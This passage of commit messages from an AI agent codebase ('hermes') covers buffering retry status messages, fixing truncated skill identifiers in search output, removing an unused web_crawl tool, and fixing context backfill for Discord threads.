stream / fallback-activation status messages.
agent/stream_diag.py: _emit_stream_drop now buffers instead of emitting
directly.
## Tests
tests/run_agent/test_retry_status_buffer.py: 7 unit tests covering
accumulate→flush, clear-on-success, mixed kinds, empty-buffer no-op,
re-buffer after flush, exception swallowing.
Updated 3 existing tests that mocked _emit_status to also mock (or use)
_buffer_status:
- tests/run_agent/test_run_agent.py::test_empty_response_emits_status_for_gateway
- tests/run_agent/test_stream_drop_logging.py (2 tests)
- tests/agent/test_codex_ttfb_watchdog.py (TTFB hint test)
## Validation
Live test: hermes chat -q against an unreachable endpoint with no fallback
exhausts retries and prints the full trace at the end. Same flow against
a working endpoint prints zero retry chatter.
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e0572a6def |
fix(skills-hub): stop ellipsis-truncating the Identifier column (#33810)
`hermes skills search` rendered the Identifier column with the default
overflow behaviour, so long slugs (notably browse-sh — every browse-sh
skill ends in a `-XXXXXX` hash that's part of the identifier) were cut
to `browse-sh/weathe…`. Users copied the visible string into
`hermes skills install` and got a not-found error because the hash was
gone.
Set overflow="fold" on the Identifier column in both search tables
(`do_search` and the `_resolve_short_name` multi-match table) so long
slugs wrap onto a second line instead of getting eaten. Also add a
`--json` flag to `hermes skills search` (and the `/skills search`
slash variant) for scripting — emits a list of {name, identifier,
source, trust_level, description} objects with the full identifier,
which is the right shape for copy-paste pipelines too.
Closes #33674.
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5e1f793430 |
chore(web): remove web_crawl tool + provider crawl plumbing (#33824)
The web_crawl_tool() function was an orphan — no model schema registered it, no skill or CLI command called it, and the agent had no way to invoke it. PR #32608 proposed wiring it up as a model-callable tool; we've decided not to expose crawl as a separate capability since web_search + web_extract cover the use cases we want models to have. Removed: - tools/web_tools.py: web_crawl_tool() (~230 LOC) - plugins/web/firecrawl/provider.py: supports_crawl() + crawl() - plugins/web/tavily/provider.py: supports_crawl() + crawl() - plugins/web/xai/provider.py: supports_crawl() override - agent/web_search_provider.py: supports_crawl() + crawl() ABC methods - agent/web_search_registry.py: get_active_crawl_provider() + the 'crawl' branch in _resolve() - agent/display.py: web_crawl tool-progress rendering - hermes_cli/config.py: 'web_crawl' from TAVILY_API_KEY.tools - tools/website_policy.py: stale comment reference - Tests: removed TestWebCrawlTavily class, the two website-policy web_crawl tests, the searxng/ddgs/brave-free crawl-error tests, the integration test_web_crawl method, and the test_unconfigured_crawl_emits_top_level_error test. Trimmed the capability-flag parametrize list and the WebSearchProvider ABC conformance tests. - Docs: trimmed the Crawl column from capability tables in both EN and zh-Hans, updated the developer-guide ABC table. Net: 25 files, +115/-1067. Closes #33762 (the schema-text bug only existed if #32608 landed). Supersedes #32608. |
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b243afb68b |
fix(discord): skip backfill for auto-created threads and update test fakes
When auto-threading kicked in, the broadened backfill gate ran on the freshly-created thread — but the thread has no prior context to fetch, and the parent-channel reference passed to _fetch_channel_context would have leaked unrelated context (see #31467). Skip backfill when auto_threaded_channel is set. Also teach the _FakeTextChannel / _FakeThreadChannel test doubles to expose a no-op history() async generator so the broadened gate doesn't trip AttributeError → discord.Forbidden (MagicMock) → TypeError in the existing auto-thread tests. Add a regression test that asserts auto-threaded messages do not trigger backfill. |
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eafe11d456 |
fix(gateway): backfill Discord thread context
Discord threads where the bot has already participated bypass mention gating by default, but the backfill check was still tied to the mention-needed condition. That meant follow-up thread messages could trigger a response without providing recent thread history to the session. Run history backfill for thread messages whenever backfill is enabled, while keeping DMs skipped and channel mention backfill behavior unchanged. Add a regression test for a known thread follow-up without an explicit mention. Fixes #33666 Co-authored-by: Cursor <cursoragent@cursor.com> |